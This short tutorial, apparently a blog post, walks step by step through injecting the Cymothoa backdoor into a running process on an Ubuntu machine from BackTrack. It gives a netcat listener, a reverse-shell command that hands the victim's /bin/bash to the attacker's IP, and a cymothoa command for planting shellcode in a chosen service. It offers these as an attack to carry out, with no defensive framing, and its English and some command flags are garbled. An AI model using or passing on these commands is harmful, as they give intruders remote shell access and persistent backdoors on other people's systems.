Injecting cymothoa to ubuntu

this is step by step to injecting cymothoa to ubuntu from backtrack with  using NC

first, configure NC in backtrack using command :

#nc -l -v -p 1934

then run nc on ubuntu using command :

#nc 192.168.43.1 1934 -e /bin/bash

then check if nc is connect using command #ls in backtrack
then check service that run on ubuntu

then select one of service that run to be injected with cymothoa, then type following command to injected cymothoa

#./cymothoa -p 1424 -s -0 -y 1934